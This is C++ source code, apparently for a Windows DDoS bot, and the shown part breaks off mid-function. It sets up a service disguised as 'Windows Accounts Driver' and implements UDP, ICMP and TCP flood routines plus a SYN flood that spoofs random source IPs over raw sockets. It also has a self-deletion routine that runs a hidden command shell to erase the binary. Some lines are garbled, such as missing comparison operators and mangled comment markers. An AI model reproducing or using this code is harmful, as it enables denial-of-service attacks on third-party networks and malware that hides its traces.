// Server.cpp : Defines the entry point for the application.

  1. // Server.cpp : Defines the entry point for the application.    
  2. //    
  3.    
  4. #include "stdafx.h"    
  5. #include <winsock2.h>    
  6. #include <windows.h>    
  7. #include <stdio.h>    
  8. #include <stdlib.h>    
  9. #include <winsvc.h>    
  10. #include <commdlg.h>    
  11. #include <shellapi.h>    
  12. #include <afxinet.h>    
  13. #include <ws2tcpip.h>     
  14. #pragma comment(lib,"ws2_32.lib")    
  15. #include <urlmon.h>    
  16. #pragma comment(lib,"urlmon.lib")    
  17. #include <tlhelp32.h>    
  18.    
  19. /*  
  20. 1.5发布版的完整原代码  
  21. */   
  22.    
  23. struct MODIFY_DATA    
  24. {   
  25.     unsigned int finder;   
  26.     char ws_svcname[32];   
  27.     char ws_svcdisplay[128];   
  28.     char ws_svcdesc[256];   
  29.     char url[256];   
  30.     int  port;   
  31. }   
  32. modify_data =    
  33. {   
  34.     0xFFFFFF8D,   
  35.     "RemoteStorage",   
  36.     "Windows Accounts Driver",   
  37.     "Network Connections Management",   
  38.     "zzz",   
  39.     80,   
  40. };   
  41.    
  42. #define SleepTime 10    
  43. char tgtIP[30]="192.168.1.2";   
  44. int tgtPort=80;   
  45. int timeout=10;   
  46. int StopFlag = 1;   
  47. HANDLE h[4];   
  48.    
  49. typedef struct  _iphdr   
  50. {   
  51.     unsigned char   h_verlen;   
  52.     unsigned char   tos;   
  53.     unsigned short  total_len;   
  54.     unsigned short  ident;   
  55.     unsigned short  frag_and_flags;   
  56.     unsigned char   ttl;   
  57.     unsigned char   proto;   
  58.     unsigned short  checksum;   
  59.     unsigned int    sourceIP;   
  60.     unsigned int    destIP;   
  61. }IP_HEADER, * PIP_HEADER;   
  62.    
  63.    
  64. typedef struct  _tcphdr   
  65. {   
  66.     unsigned short  th_sport;   
  67.     unsigned short  th_dport;   
  68.     unsigned int    th_seq;   
  69.     unsigned int    th_ack;   
  70.     unsigned char   th_lenres;   
  71.     unsigned char   th_flag;   
  72.     unsigned short  th_win;   
  73.     unsigned short  th_sum;   
  74.     unsigned short  th_urp;   
  75. }TCP_HEADER, * PTCP_HEADER;   
  76.    
  77. typedef struct tsd_hdr   
  78. {    
  79.     unsigned long  saddr;   
  80.     unsigned long  daddr;   
  81.     char           mbz;    
  82.     char           ptcl;   
  83.     unsigned short tcpl;   
  84. }PSD_HEADER;    
  85.    
  86. typedef struct udp_hdr //UDP首部    
  87. {   
  88.     unsigned short sourceport;    
  89.     unsigned short destport;    
  90.     unsigned short udp_length;    
  91.     unsigned short udp_checksum;    
  92. } UDP_HEADER;   
  93.    
  94. USHORT checksum(USHORT *buffer, int size)   
  95. {    
  96.     unsigned long cksum=0;   
  97.     while(size >1)   
  98.     {   
  99.         cksum+=*buffer++;   
  100.         size -=sizeof(USHORT);   
  101.     }   
  102.     if(size)   
  103.     {   
  104.         cksum += *(UCHAR*)buffer;   
  105.     }   
  106.     cksum = (cksum >> 16) + (cksum & 0xffff);   
  107.     cksum += (cksum >>16);   
  108.     return (USHORT)(~cksum);   
  109. }   
  110.    
  111.   
  112. ///UDP攻击    
  113. #define nBufferSize 1024    
  114. static char pSendBuffer[nBufferSize+60];   
  115. static int  iTotalSize=0;   
  116.    
  117. void udp_flood()    
  118. {   
  119.     Sleep(2000);   
  120.     WSADATA WSAData;   
  121.     WSAStartup(MAKEWORD(2,2), &WSAData);   
  122.    
  123.     SOCKET    SendSocket;    
  124.     BOOL    Flag;    
  125.    
  126.     SendSocket = WSASocket(AF_INET,SOCK_RAW,IPPROTO_UDP,NULL,0,0);   
  127.     if( SendSocket == INVALID_SOCKET )    
  128.         return;    
  129.    
  130.     Flag=true;   
  131.     if (setsockopt(SendSocket,IPPROTO_IP,IP_HDRINCL,(char*)&Flag,sizeof(Flag))==SOCKET_ERROR)   
  132.     {   
  133.         printf("setsockopt Error!\n");   
  134.         return;   
  135.     }   
  136.    
  137.     SOCKADDR_IN addr_in;   
  138.     addr_in.sin_family=AF_INET;   
  139.     addr_in.sin_port=htons(tgtPort);   
  140.     addr_in.sin_addr.s_addr=inet_addr(tgtIP);   
  141.     if (addr_in.sin_addr.s_addr == INADDR_NONE)   
  142.     {      
  143.         struct hostent *hp = NULL;   
  144.         if ((hp = gethostbyname(tgtIP)) != NULL)   
  145.          {   
  146.             memcpy(&(addr_in.sin_addr), hp->h_addr, hp->h_length);   
  147.             addr_in.sin_family = hp->h_addrtype;   
  148.         }   
  149.         else   
  150.             return;   
  151.     }   
  152.    
  153.     for (;;)   
  154.     {   
  155.         if (StopFlag == 1)   
  156.         {   
  157.             ExitThread(0);   
  158.             return;   
  159.         }   
  160.         for(int i=0;i<10000;i++)   
  161.             sendto(SendSocket, pSendBuffer, iTotalSize, 0, (SOCKADDR *)&addr_in, sizeof(addr_in));   
  162.         Sleep(SleepTime);   
  163.     }   
  164.     closesocket(SendSocket);   
  165.     return;    
  166. }   
  167.    
  168. void fill_udp_buffer()   
  169. {   
  170.     WSADATA wsaData;   
  171.     WSAStartup(MAKEWORD(2, 2), &wsaData);   
  172.     unsigned int saddr=0;   
  173.     char hostname[MAX_PATH];   
  174.     gethostname(hostname,MAX_PATH);   
  175.     LPHOSTENT lphost;   
  176.     lphost = gethostbyname(hostname);   
  177.     if (lphost != NULL)   
  178.         saddr = ((LPIN_ADDR)lphost->h_addr)->s_addr;   
  179.    
  180.     char pBuffer[nBufferSize];   
  181.    
  182.     IP_HEADER ipHeader;   
  183.     UDP_HEADER udpHeader;   
  184.    
  185.     int iUdpCheckSumSize;   
  186.     char *ptr=NULL;   
  187.     FillMemory(pBuffer, nBufferSize, 'A');   
  188.    
  189.     iTotalSize=sizeof(ipHeader) + sizeof(udpHeader)+ nBufferSize;   
  190.    
  191.     ipHeader.h_verlen = (4 < 4) | (sizeof(ipHeader) / sizeof(unsigned long));   
  192.     ipHeader.tos=0;   
  193.     ipHeader.total_len=htons(iTotalSize);   
  194.     ipHeader.ident=0;   
  195.     ipHeader.frag_and_flags=0;   
  196.     ipHeader.ttl=128;   
  197.     ipHeader.proto=IPPROTO_UDP;   
  198.     ipHeader.checksum=0;   
  199.     ipHeader.destIP=inet_addr(tgtIP);   
  200.    
  201.     udpHeader.sourceport = htons(5444);   
  202.     udpHeader.destport = htons(tgtPort);   
  203.     udpHeader.udp_length = htons(sizeof(udpHeader) + nBufferSize);   
  204.     udpHeader.udp_checksum = 0;   
  205.    
  206.     ptr = NULL;   
  207.     ipHeader.sourceIP = saddr;   
  208.    
  209.     ZeroMemory(pSendBuffer, nBufferSize + 60);   
  210.     ptr = pSendBuffer;   
  211.     iUdpCheckSumSize=0;   
  212.     udpHeader.udp_checksum = 0;   
  213.    
  214.     memcpy(ptr, &ipHeader.sourceIP, sizeof(ipHeader.sourceIP));   
  215.     ptr += sizeof(ipHeader.sourceIP);   
  216.     iUdpCheckSumSize += sizeof(ipHeader.sourceIP);   
  217.    
  218.     memcpy(ptr, &ipHeader.destIP, sizeof(ipHeader.destIP));   
  219.     ptr += sizeof(ipHeader.destIP);   
  220.     iUdpCheckSumSize += sizeof(ipHeader.destIP);   
  221.    
  222.     ptr++;   
  223.     iUdpCheckSumSize++;   
  224.    
  225.     memcpy(ptr, &ipHeader.proto, sizeof(ipHeader.proto));   
  226.     ptr += sizeof(ipHeader.proto);   
  227.     iUdpCheckSumSize += sizeof(ipHeader.proto);   
  228.    
  229.     memcpy(ptr, &udpHeader.udp_length, sizeof(udpHeader.udp_length));   
  230.     ptr += sizeof(udpHeader.udp_length);   
  231.     iUdpCheckSumSize += sizeof(udpHeader.udp_length);   
  232.    
  233.     memcpy(ptr, &udpHeader, sizeof(udpHeader));   
  234.     ptr += sizeof(udpHeader);   
  235.     iUdpCheckSumSize += sizeof(udpHeader);   
  236.    
  237.     memcpy(ptr, pBuffer, nBufferSize);   
  238.     iUdpCheckSumSize += nBufferSize;   
  239.    
  240.     udpHeader.udp_checksum=checksum((USHORT*)pSendBuffer,iUdpCheckSumSize);   
  241.     memcpy(pSendBuffer, &ipHeader, sizeof(ipHeader));   
  242.     memcpy(pSendBuffer + sizeof(ipHeader), &udpHeader, sizeof(udpHeader));   
  243.     memcpy(pSendBuffer + sizeof(ipHeader) + sizeof(udpHeader), pBuffer, nBufferSize);   
  244. }   
  245. ///UDP攻击END    
  246.   
  247.    
  248.   
  249. ///SYN攻击    
  250. #define    PacketNum 4096     
  251. static char SendBuff[PacketNum][60] = {0};   
  252. void syn_flood()    
  253. {   
  254.     Sleep(2000);   
  255.     WSADATA wsaData;   
  256.     WSAStartup(MAKEWORD(2, 2), &wsaData);   
  257.    
  258.     SOCKET    SendSocket;    
  259.     BOOL    Flag;    
  260.     int     Timeout;    
  261.    
  262.     SendSocket = WSASocket( AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED );    
  263.     if( SendSocket == INVALID_SOCKET )    
  264.         return;    
  265.    
  266.     Flag = TRUE;    
  267.     if( setsockopt(SendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&Flag, sizeof(Flag)) == SOCKET_ERROR )    
  268.         return;    
  269.    
  270.     Timeout = 5000;    
  271.     if ( setsockopt(SendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *) &Timeout, sizeof(Timeout)) == SOCKET_ERROR )    
  272.         return;   
  273.    
  274.     SOCKADDR_IN    Sin;   
  275.     Sin.sin_family = AF_INET;    
  276.     Sin.sin_port = tgtPort;    
  277.     Sin.sin_addr.s_addr = inet_addr(tgtIP);   
  278.     if (Sin.sin_addr.s_addr == INADDR_NONE)   
  279.     {      
  280.         struct hostent *hp = NULL;   
  281.         if ((hp = gethostbyname(tgtIP)) != NULL)   
  282.          {   
  283.             memcpy(&(Sin.sin_addr), hp->h_addr, hp->h_length);   
  284.             Sin.sin_family = hp->h_addrtype;   
  285.         }   
  286.         else   
  287.             return;   
  288.     }   
  289.     while (1)   
  290.     {   
  291.         if (StopFlag == 1)   
  292.         {   
  293.             ExitThread(0);   
  294.             return;   
  295.         }   
  296.         for ( int Tmp = 0 ; Tmp  PacketNum ; Tmp++)   
  297.             if (sendto(SendSocket, SendBuff[Tmp], sizeof(IP_HEADER) + sizeof(TCP_HEADER), 0, (struct sockaddr *) &Sin, sizeof(Sin)) == SOCKET_ERROR)   
  298.             {   
  299.                 ExitThread(0);   
  300.                 return;   
  301.             }   
  302.         Sleep(SleepTime);   
  303.     }   
  304.     return;    
  305. }   
  306.    
  307. void fill_syn_buffer()   
  308. {   
  309.     WSADATA wsaData;   
  310.     WSAStartup(MAKEWORD(2, 2), &wsaData);   
  311.    
  312.     IP_HEADER    IpHeader;    
  313.     TCP_HEADER   TcpHeader;    
  314.     PSD_HEADER   PsdHeader;    
  315.    
  316.     srand((unsigned) time(NULL));    
  317.        
  318.     char         src_ip[20] = {0};   
  319.     for ( int n = 0; n  PacketNum; n++ )    
  320.     {    
  321.             wsprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 );    
  322.             //填充IP首部     
  323.             IpHeader.h_verlen = (4<<4 | sizeof(IpHeader)/sizeof(unsigned long));    
  324.             IpHeader.tos = 0;    
  325.             IpHeader.total_len = htons(sizeof(IpHeader)+sizeof(TcpHeader));    
  326.             IpHeader.ident = 1;    
  327.             IpHeader.frag_and_flags = 0x40;    
  328.             IpHeader.ttl = 128;    
  329.             IpHeader.proto = IPPROTO_TCP;    
  330.             IpHeader.checksum = 0;    
  331.             IpHeader.sourceIP = inet_addr(src_ip);    
  332.             IpHeader.destIP = inet_addr(tgtIP);    
  333.    
  334.             //填充TCP首部     
  335.             TcpHeader.th_sport = htons( rand()%60000 + 1 ); //源端口号     
  336.             TcpHeader.th_dport = htons( tgtPort );    
  337.             TcpHeader.th_seq = htonl( rand()%900000000 + 1 );    
  338.             TcpHeader.th_ack = 0;    
  339.             TcpHeader.th_lenres = (sizeof(TcpHeader)/4<<4|0);    
  340.             TcpHeader.th_flag = 2; //0,2,4,8,16,32->FIN,SYN,RST,PSH,ACK,URG     
  341.             TcpHeader.th_win = htons(512);    
  342.             TcpHeader.th_sum = 0;    
  343.             TcpHeader.th_urp = 0;    
  344.    
  345.             PsdHeader.saddr = IpHeader.sourceIP;    
  346.             PsdHeader.daddr = IpHeader.destIP;    
  347.             PsdHeader.mbz = 0;    
  348.             PsdHeader.ptcl = IPPROTO_TCP;    
  349.             PsdHeader.tcpl = htons(sizeof(TcpHeader));    
  350.    
  351.             //计算TCP校验和     
  352.             memcpy( SendBuff[n], &PsdHeader, sizeof(PsdHeader) );    
  353.             memcpy( SendBuff[n] + sizeof(PsdHeader), &TcpHeader, sizeof(TcpHeader) );    
  354.             TcpHeader.th_sum = checksum( (USHORT *) SendBuff[n], sizeof(PsdHeader) + sizeof(TcpHeader) );    
  355.    
  356.             //计算IP检验和     
  357.             memcpy( SendBuff[n], &IpHeader, sizeof(IpHeader) );    
  358.             memcpy( SendBuff[n] + sizeof(IpHeader), &TcpHeader, sizeof(TcpHeader) );    
  359.             memset( SendBuff[n] + sizeof(IpHeader) + sizeof(TcpHeader), 0, 4 );    
  360.             IpHeader.checksum = checksum( (USHORT *) SendBuff, sizeof(IpHeader) + sizeof(TcpHeader) );    
  361.    
  362.             memcpy( SendBuff[n], &IpHeader, sizeof(IpHeader) );    
  363.             memcpy( SendBuff[n]+sizeof(IpHeader), &TcpHeader, sizeof(TcpHeader) );    
  364.     }   
  365.     return;    
  366. }   
  367. ///SYN攻击END    
  368.   
  369.   
  370.    
  371. const char icmpBuffer[4000]=   
  372.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  373.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  374.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  375.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  376.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  377.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  378.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  379.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  380.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  381.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  382.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  383.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  384.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  385.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  386.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  387.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  388.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  389.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  390.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  391.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  392.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  393.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  394.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  395.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  396.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  397.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  398.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  399.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  400.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  401.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  402.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  403.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  404.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  405.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  406.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  407.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  408.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  409.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  410.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  411.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  412.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  413.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  414.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  415.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  416.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  417.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  418.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  419.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  420.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  421.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  422.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  423.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  424.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  425.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  426.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  427.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  428.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  429.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  430.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  431.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  432.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  433.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  434.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  435.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  436.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  437.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  438.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  439.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  440.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  441.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  442.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  443.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  444.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  445.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  446.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  447.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  448.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"   
  449.     "GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"   
  450.     "GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"   
  451.     "GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp";   
  452.    
  453.    
  454.     
  455.     
  456. /ICMP 攻击    
  457. /*ICMP Header*/   
  458. typedef struct _icmphdr             //定义ICMP首部    
  459. {   
  460.     BYTE   i_type;                  //8位类型    
  461.     BYTE   i_code;                  //8位代码    
  462.     USHORT i_cksum;                 //16位校验和     
  463.     USHORT i_id;                    //识别号(一般用进程号作为识别号)    
  464.     USHORT i_seq;                   //报文序列号     
  465.     ULONG  timestamp;               //时间戳    
  466. }ICMP_HEADER;   
  467.    
  468.    
  469. #define ICMP_ECHO               8    
  470. #define MAX_PACKET       4096    
  471.    
  472. void fill_icmp_data(char *icmp_data, int datasize)   
  473. {   
  474.     ICMP_HEADER *icmp_hdr;   
  475.     char       *datapart;   
  476.     icmp_hdr = (ICMP_HEADER*)icmp_data;   
  477.     icmp_hdr->i_type = ICMP_ECHO;   
  478.     icmp_hdr->i_code = 0;   
  479.     icmp_hdr->i_id   = (USHORT)GetCurrentProcessId();   
  480.     icmp_hdr->i_cksum = 0;   
  481.     icmp_hdr->i_seq = 0;   
  482.    
  483.     datapart = icmp_data + sizeof(ICMP_HEADER);   
  484.     memcpy(datapart,icmpBuffer,strlen(icmpBuffer));   
  485. }   
  486.    
  487. void icmp_flood()   
  488. {      
  489.     Sleep(2000);   
  490.     WSADATA wsaData;   
  491.     WSAStartup(MAKEWORD(2, 2), &wsaData);   
  492.     SOCKET m_hSocket;   
  493.     SOCKADDR_IN m_addrDest;   
  494.     char              *icmp_data;   
  495.     int   datasize = 32;   
  496.     int timeout = 2000;   
  497.    
  498.     m_hSocket = WSASocket (AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0,WSA_FLAG_OVERLAPPED);   
  499.     if (m_hSocket == INVALID_SOCKET)    
  500.         return;   
  501.     if (setsockopt(m_hSocket, SOL_SOCKET, SO_SNDTIMEO, (char*)&timeout, sizeof(timeout)) == SOCKET_ERROR)    
  502.         return;   
  503.    
  504.     memset(&m_addrDest, 0, sizeof(m_addrDest));   
  505.     m_addrDest.sin_family = AF_INET;   
  506.     if ((m_addrDest.sin_addr.s_addr = inet_addr(tgtIP)) == INADDR_NONE)   
  507.     {      
  508.          struct hostent *hp = NULL;   
  509.          if ((hp = gethostbyname(tgtIP)) != NULL)   
  510.          {   
  511.             memcpy(&(m_addrDest.sin_addr), hp->h_addr, hp->h_length);   
  512.             m_addrDest.sin_family = hp->h_addrtype;   
  513.          }   
  514.         else   
  515.             return;   
  516.     }                 
  517.    
  518.     datasize += sizeof(ICMP_HEADER);     
  519.     icmp_data =(char*) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,MAX_PACKET);   
  520.     memset(icmp_data,0,MAX_PACKET);   
  521.     fill_icmp_data(icmp_data,MAX_PACKET);   
  522.     int seq_no=0;   
  523.     int sleep_time = SleepTime/10;   
  524.     while(1)   
  525.     {    
  526.         if (StopFlag == 1)   
  527.         {   
  528.             ExitThread(0);   
  529.             return;   
  530.         }   
  531.         ((ICMP_HEADER*)icmp_data)->i_cksum = 0;   
  532.         ((ICMP_HEADER*)icmp_data)->i_seq =   seq_no++;   
  533.         ((ICMP_HEADER*)icmp_data)->timestamp = GetTickCount();   
  534.         ((ICMP_HEADER*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, MAX_PACKET);   
  535.         for (int i=0;i<100;i++)   
  536.             sendto(m_hSocket, icmp_data, MAX_PACKET, 0, (struct sockaddr*)&m_addrDest, sizeof(m_addrDest));    
  537.         Sleep(5);   
  538.     }   
  539.     return;   
  540. }   
  541. /ICMP攻击结束    
  542.     
  543. ///tcp攻击开始    
  544. void tcp_flood()   
  545. {   
  546.     WSADATA               WSAData;   
  547.     WSAStartup(MAKEWORD(2,2) ,&WSAData);   
  548.     SOCKADDR_IN sockAddr;   
  549.     SOCKET  m_hSocket;   
  550.     int nSize = strlen(icmpBuffer);   
  551.        
  552.     memset(&sockAddr,0,sizeof(sockAddr));   
  553.     sockAddr.sin_family = AF_INET;   
  554.     sockAddr.sin_port=htons(tgtPort);   
  555.     sockAddr.sin_addr.s_addr = inet_addr(tgtIP);   
  556.     if ((sockAddr.sin_addr.s_addr = inet_addr(tgtIP)) == INADDR_NONE)   
  557.     {   
  558.         struct hostent *hp = NULL;   
  559.         if ((hp = gethostbyname(tgtIP)) != NULL)   
  560.         {   
  561.             memcpy(&(sockAddr.sin_addr), hp->h_addr, hp->h_length);   
  562.             sockAddr.sin_family = hp->h_addrtype;   
  563.         }   
  564.         else   
  565.             return;   
  566.     }    
  567.     for(;;)   
  568.     {   
  569.         if (StopFlag == 1)   
  570.         {   
  571.             ExitThread(1);   
  572.             return;   
  573.         }   
  574.    
  575.         m_hSocket = socket(PF_INET,SOCK_STREAM,0);   
  576.         if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0)   
  577.             continue;   
  578.         for(int a=0;a<10240;a++)   
  579.         {   
  580.             if (send(m_hSocket,icmpBuffer,nSize,0) ==SOCKET_ERROR)   
  581.                 break;   
  582.         }   
  583.         Sleep(SleepTime);   
  584.     }   
  585.     return;   
  586. }   
  587.    
  588. void wait_for_end()   
  589. {   
  590.     DWORD s_time = timeout*60*1000;   
  591.     Sleep(s_time);   
  592.     StopFlag=1;   
  593.     TerminateThread(h[0],0);   
  594.     TerminateThread(h[1],0);   
  595.     TerminateThread(h[2],0);   
  596.     TerminateThread(h[3],0);   
  597.     //TerminateThread(h[4],0);    
  598.     CloseHandle(h[0]);   
  599.     CloseHandle(h[1]);   
  600.     CloseHandle(h[2]);   
  601.     CloseHandle(h[3]);   
  602.     //CloseHandle(h[4]);    
  603.     h[0]=NULL;   
  604.     h[1]=NULL;   
  605.     h[2]=NULL;   
  606.     h[3]=NULL;   
  607.     //h[4]=NULL;    
  608. }   
  609.    
  610. BOOL _DeleteMe()   
  611. {   
  612.     TCHAR szModule [MAX_PATH],   
  613.           szComspec[MAX_PATH],   
  614.           szParams [MAX_PATH];   
  615.    
  616.     // get file path names:    
  617.     if((GetModuleFileName(0,szModule,MAX_PATH)!=0) &&   
  618.        (GetShortPathName(szModule,szModule,MAX_PATH)!=0) &&   
  619.        (GetEnvironmentVariable("COMSPEC",szComspec,MAX_PATH)!=0))   
  620.     {   
  621.         // set command shell parameters    
  622.         lstrcpy(szParams," /c  del ");   
  623.         lstrcat(szParams, szModule);   
  624.         lstrcat(szParams, " > nul");   
  625.         lstrcat(szComspec, szParams);   
  626.    
  627.    
  628.         // set struct members    
  629.         STARTUPINFO     si={0};   
  630.         PROCESS_INFORMATION pi={0};   
  631.         si.cb = sizeof(si);   
  632.         si.dwFlags = STARTF_USESHOWWINDOW;   
  633.         si.wShowWindow = SW_HIDE;   
  634.    
  635.         // increase resource allocation to program    
  636.         SetPriorityClass(GetCurrentProcess(),   
  637.                 REALTIME_PRIORITY_CLASS);   
  638.         SetThreadPriority(GetCurrentThread(),   
  639.             THREAD_PRIORITY_TIME_CRITICAL);   
  640.    
  641.         // invoke command shell    
  642.         if(CreateProcess(0, szComspec, 0, 0, 0,CREATE_SUSPENDED|   
  643.                     DETACHED_PROCESS, 0, 0, &si, &pi))   
  644.         {   
  645.             // suppress command shell process until program exits    
  646.             SetPriorityClass(pi.hProcess,IDLE_PRIORITY_CLASS);   
  647.                         SetThreadPriority(pi.hThread,THREAD_PRIORITY_IDLE);    
  648.    
  649.             // resume shell process with new low priority    
  650.             ResumeThread(pi.hThread);   
  651.    
  652.             // everything seemed to work    
  653.             return TRUE;   
  654.         }   
  655.         else // if error, normalize allocation    
  656.         {   
  657.             SetPriorityClass(GetCurrentProcess(),   
  658.                              NORMAL_PRIORITY_CLASS);   
